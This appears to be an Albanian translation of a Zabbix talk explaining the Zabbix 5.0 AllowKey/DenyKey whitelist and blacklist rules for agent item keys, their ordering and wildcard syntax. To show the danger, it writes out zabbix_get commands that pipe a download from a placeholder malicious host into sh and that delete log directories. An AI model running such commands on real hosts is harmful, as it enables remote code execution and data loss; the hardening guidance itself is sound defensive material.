Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Mbështetje për lista të bardha dhe të zeza për metrikat nga ana e agentit

Tikhon Uscov, Inxhinier Integrimi, Zabbix

Problemet e sigurisë së të dhënave

Në Zabbix 5.0 është shtuar një funksion i ri që përmirëson sigurinë në sistemet që përdorin Zabbix Agent dhe zëvendëson parametrin e vjetër EnableRemoteCommands.

Përmirësimi i sigurisë së sistemeve që përdorin agjentin ka të bëjë me faktin se agjenti mund të bëjë një sërë veprimesh potencialisht të rrezikshme.

  • Agjenti mund tĂ« mbledhĂ« pothuajse çdo informacion, duke pĂ«rfshirĂ« ato tĂ« ndjeshme ose potencialisht tĂ« rrezikshme, nga skedarĂ«t e konfigurimit, skedarĂ«t e logĂ«ve, skedarĂ«t me fjalĂ«kalime ose çdo skedar tjetĂ«r.

Për shembull, duke përdorur utilitarin zabbix_get mund të aksesoni listën e përdoruesve, katalogët e tyre personalë, skedarët me fjalëkalime, etj.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Aksesi në të dhëna përmes utilitarit zabbix_get

VËREJTJE. TĂ« dhĂ«nat mund tĂ« merren vetĂ«m nĂ«se agjenti ka tĂ« drejta pĂ«r leximin e skedarit pĂ«rkatĂ«s. Por, pĂ«r shembull, skedari /etc/passwd/ Ă«shtĂ« i aksesueshĂ«m pĂ«r tĂ« gjithĂ« pĂ«rdoruesit.

  • Agjenti gjithashtu mund tĂ« ekzekutojĂ« komanda potencialisht tĂ« rrezikshme. PĂ«r shembull, çelĂ«si *system.run[]** lejonĂ« tĂ« kryeni çdo komandĂ« tĂ« largĂ«t nĂ« nyjat e rrjetit, duke pĂ«rfshirĂ« ekzekutimin e skenarĂ«ve nga ndĂ«rfaqja e internetit Zabbix, tĂ« cilĂ«t gjithashtu ekzekutojnĂ« komanda nĂ« anĂ«n e agjentit.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]

# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • NĂ« Linux, agjenti fillon nĂ« mĂ«nyrĂ« tĂ« parazgjedhur pa privilegje root, ndĂ«rsa nĂ« Windows ai fillon si njĂ« shĂ«rbim nĂ«n emrin System dhe ka qasje tĂ« pakufizuar nĂ« sistemin e skedarĂ«ve. PĂ«rkatĂ«sisht, nĂ«se pas instalimit nuk bĂ«hen ndryshime nĂ« parametrat e Agjentit Zabbix, agjenti ka qasje nĂ« regjistrin, sistemin e skedarĂ«ve dhe mund tĂ« kryejĂ« kĂ«rkesa WMI.

Në versionet më të hershme, parametri EnableRemoteCommands=0 lejonte vetëm ndalimin e metrikave me çelësin *system.run[]** dhe ekzekutimin e skenarëve nga ndërfaqja e internetit, por nuk kishte mundësi për të kufizuar qasjet në skedarë të veçantë, për të lejuar ose ndaluar çelësa të veçantë që ishin vendosur paralelisht me agjentin, ose për të kufizuar përdorimin e parametrave të veçantë.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Përdorimi i parametrave EnableRemoteCommand në versionet e hershme të Zabbix

AllowKey/DenyKey

Zabbix 5.0 ndihmon në mbrojtjen nga ky qasje i paautorizuar përmes listave të bardha dhe të zeza për miratimin dhe ndalimin e metrikave në anën e agjentit.

Në Zabbix 5.0, të gjithë çelësat, duke përfshirë *system.run[]**, janë të lejuara, dhe janë shtuar dy parametra të rinj të konfigurimit për agjentët:

AllowKey= — kontrollime tĂ« lejuara;

DenyKey= — kontrollime tĂ« ndaluara;

ku — Ă«shtĂ« modeli i emrit tĂ« çelĂ«sit me parametra, nĂ« tĂ« cilin pĂ«rdoren metasimbolĂ«t (*).

ÇelĂ«sat AllowKey dhe DenyKey lejojnĂ« tĂ« lejojnĂ« ose ndalojnĂ« metrika tĂ« veçanta sipas njĂ« modeli tĂ« caktuar. NĂ« krahasim me parametrat e tjerĂ« tĂ« konfigurimit, numri i parametrave AllowKey/DenyKey nuk Ă«shtĂ« i kufizuar. Kjo lejon pĂ«rcaktimin e qartĂ« se çfarĂ« mund tĂ« bĂ«jĂ« agjenti nĂ« sistem pĂ«rmes krijimit tĂ« njĂ« peme kontrollesh — çelĂ«sa tĂ« ekzekutueshĂ«m, ku njĂ« rol shumĂ« tĂ« rĂ«ndĂ«sishĂ«m luan rendi i shkrimit tĂ« tyre.

Rendi i rregullave

Rregullat kontrollohen në rendin në të cilin janë futur në skedarin e konfigurimit. Kontrolli i çelësit sipas rregullave ndodh deri në ndeshjen e parë, dhe sapo çelësi i elementit të dhënash përputhet me modelin, ai lejohet ose ndalohet. Pas kësaj kontrolli i rregullave ndalon, dhe çelësat e tjerë injorohen.

Prandaj, nëse një element përputhet si me një rregull lejuese ashtu edhe me një rregull ndaluese, rezultati do të varet nga cili rregull është i pari në skedarin e konfigurimit.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

2 rregulla të ndryshme me të njëjtin model dhe çelës vfs.file.size[/tmp/file]

Rendi i përdorimit të çelësave AllowKey/DenyKey:

  1. rregulla të sakta,
  2. rregulla të përgjithshme,
  3. rregull ndalues.

Për shembull, nëse keni nevojë për qasje në skedarët në një dosje të caktuar, duhet së pari të lejoni aksesin në ta, dhe më pas të ndaloni gjithçka tjetër që nuk përfshihet në lejet e caktuara. Nëse në radhë të parë përdoret një rregull ndalues, qasja në dosje do të ndalohet.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Rendi i duhur

Nëse është e nevojshme të lejohet ngritja e 2 utilitareve përmes *system.run[], dhe nëse në radhë të parë do të citohet një rregull ndalues, utilitarët nuk do të ngrihen, sepse modeli i parë do të përputhet gjithmonë me çdo çelës, dhe rregullat nënvizon do të injorohen.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Rendi i gabuar

Modelet

Rregullat kryesore

Modeli është një shprehje me karaktere zëvendësuese (wildcard). Simboli meta (*) përputhet me çdo numër të simboleve të çdo tipi në një pozitë të caktuar. Simbolet meta mund të përdoren si në emrin e çelësit ashtu edhe në parametra. Për shembull, mund të përcaktoni tekstin e parë në mënyrë të fortë, ndërsa parametri në vazhdim ta tregoni si wildcard.

Parametrat duhet të jenë të vendosur në shenjë katrore [].

  • system.run[* — e gabuar
  • vfs.file*.txt] — e gabuar
  • vfs.file.*[*] — e saktĂ«

Shembuj të përdorimit të wildcard.

  1. Në emrin e çelësit dhe në parametrin. Në këtë rast, çelësi nuk i përputhet një çelësi tjetër që nuk përmban parametrin, pasi në modelin kemi specifikuar që duam të marrim një fund të caktuar të emrit të çelësit dhe një grup parametrash.
  2. Nëse në model nuk janë përdorur shenjat katrore, modeli lejon të gjitha çelësat që nuk përmbajnë parameter dhe ndalon të gjithë çelësat me parametrin e specifikuar.
  3. Nëse çelësi është shkruar plotësisht, dhe parametrat janë specifikuar si wildcard, ai do t'i përputhet çdo çelësi tjetër të ngjashëm me parametrat e çdo lloji dhe nuk do t'i përputhet çelësit pa shenjat katrore, dmth do të lejohet ose ndalohet.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Rregullat për plotësimin e parametrave.

  • NĂ«se pĂ«rdorimi i çelĂ«sit me parametra parashikohet, parametrat duhet tĂ« shkruhen nĂ« skedarin e konfigurimit. Parametrat duhet tĂ« pĂ«rcaktohen si metasimbol. ËshtĂ« e nevojshme qĂ« tĂ« ruhen me kujdes nga qasja e ndonjĂ« skedari dhe tĂ« merren nĂ« konsideratĂ« se çfarĂ« informacioni mund tĂ« kthejĂ« metrika nĂ« raste tĂ« ndryshme shkrimi — me parametrat dhe pa ato.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Karakteristikat e shkrimit të çelësave me parametra

  • NĂ«se çelĂ«si Ă«shtĂ« i specifikuar me parametra, por parametrat janĂ« tĂ« opsionalĂ« dhe janĂ« pĂ«rcaktuar si metasimbol, çelĂ«si pa parametra do tĂ« lejohet. PĂ«r shembull, nĂ«se dĂ«shironi tĂ« ndaloni marrjen e informacionit mbi ngarkesĂ«n e CPU-sĂ« dhe pĂ«rcaktoni se çelĂ«si system.cpu.load[*] duhet tĂ« jetĂ« i ndaluar, mos harroni se çelĂ«si pa parametra do tĂ« kthejĂ« vlerĂ«n mesatare tĂ« ngarkesĂ«s.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Rregullat për plotësimin e parametrave

Vërejtjet

Konfigurimi

  • Disa rregulla nuk mund tĂ« ndryshohen nga pĂ«rdoruesi, pĂ«r shembuj, rregullat e zbulimit (discovery) ose autoregjistrimit tĂ« agenĂ«ve. Rregullat AllowKey/DenyKey nuk prekin parametrat e mĂ«poshtĂ«m:
    — HostnameItem
    — HostMetadataItem
    — HostInterfaceItem

VËREJTJE. NĂ«se administratori ndalon ndonjĂ« çelĂ«s, kur kĂ«rkoni Zabbix, nuk jep informacion mbi arsyen se pĂ«rse metrika ose çelĂ«si bien nĂ« kategorinĂ« ‘NOTSUPPORTED‘. NĂ« skedarin e log-eve tĂ« agentit, informacioni mbi ndalimin e ekzekutimit tĂ« komandave tĂ« largĂ«ta gjithashtu nuk shfaqet. Kjo Ă«shtĂ« bĂ«rĂ« pĂ«r arsye sigurie, por mund tĂ« komplikohet procesi i debug-imit nĂ«se metrikat bien nĂ« kategorinĂ« e papĂ«shtatur pĂ«r ndonjĂ« arsye..

  • Nuk duhet tĂ« mbĂ«shteteni nĂ« ndonjĂ« rend tĂ« caktuar tĂ« lidhjes sĂ« skedarĂ«ve tĂ« jashtĂ«m tĂ« konfigurimit (p.sh., nĂ« rendin alfabetik).

Utilitat e linjës së komandës

Pas konfigurimit të rregullave, është e nevojshme të siguroheni se gjithçka është e konfiguruar saktë.

Mund të përdorni një nga tre opsionet:

  • Shtoni metrikĂ«n nĂ« Zabbix.
  • Testoni me zabbix_agentd. Agjenti Zabbix me opsionin -print (-p) shfaq tĂ« gjitha çelĂ«sat (qĂ« janĂ« tĂ« lejuar si tĂ« paracaktuar), pĂ«rveç atyre qĂ« nuk lejohen nga konfigurimi. Dhe me opsionin -test (-t) pĂ«r çelĂ«sin e ndaluar do tĂ« kthejĂ« ‘Unsupported item key‘.
  • Testoni me zabbix_get. Utilitari zabbix_get me opsionin -k do tĂ« kthejĂ« ‘ZBX_NOTSUPPORTED: Unknown metric‘.

Lejoni ose ndaloni

Mund të ndaloni qasje në skedarin dhe të siguroheni, për shembull, me utilitën zabbix_get, që qasja në skedar është e ndaluar.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

**

VËREJTJE. Citatet nĂ« parametrin injorohen.

Megjithatë, aksesimi i këtij skedari mund të lejohet përmes një rruge tjetër. Për shembull, nëse ai është çuar nga një symlink.

Mbështetje për listat e zeza dhe të bardha për metrikat në anën e agentit në Zabbix 5.0

Rekomandohet të kontrolloni varianta të ndryshme të aplikimit të rregullave të vendosura, si dhe të merrni parasysh mundësitë për të anashkaluar ndalimet.

Pyetje dhe përgjigje

Pyetja. Pse u zgjodh një sistem kaq kompleks për përshkrimin e rregullave, lejeve dhe ndalimeve? Pse nuk kishte mundësi të përdorej, për shembull, shprehje të rregullta, siç përdor Zabbix?

Përgjigja. Kjo është një çështje e performancës së regex, pasi agjenti zakonisht është një, dhe kontrollon një sasi të madhe metrike. Regex është një operacion mjaft i rëndë, dhe ne nuk mund të kontrollojmë mijëra metrika në këtë mënyrë. Wildcards janë një zgjidhje universale, e përdorur gjerësisht dhe e thjeshtë.

Pyetja. A nuk lidhen skedarët Include në rend alfabetik?

Përgjigja. Sipas sa kam informacion, është praktikisht e pamundur të parashikohet se si do të aplikohen rregullat, nëse i shpërndani rregullat në skedare të ndryshme. Rekomandoj të mblidhni të gjitha rregullat AllowKey/DenyKey në një skedar Include, sepse ato bashkëveprojnë me njëra-tjetrën, dhe të lidhni këtë skedar..

Pyetja. NĂ« Zabbix 5.0 opsioni ‘EnableRemoteCommands=‘ nĂ« skedarin e konfigurimit mungon, dhe janĂ« tĂ« disponueshme vetĂ«m AllowKey/DenyKey?

Përgjigja. Po, është e saktë.

Faleminderit për vëmendjen!

Burimi: habr.com

Bli njĂ« hosting tĂ« besueshĂ«m pĂ«r faqet me mbrojtje DDoS, VPS VDS serverĂ« đŸ”„ Bli njĂ« hosting tĂ« besueshĂ«m pĂ«r faqet me mbrojtje DDoS, VPS VDS serverĂ« | ProHoster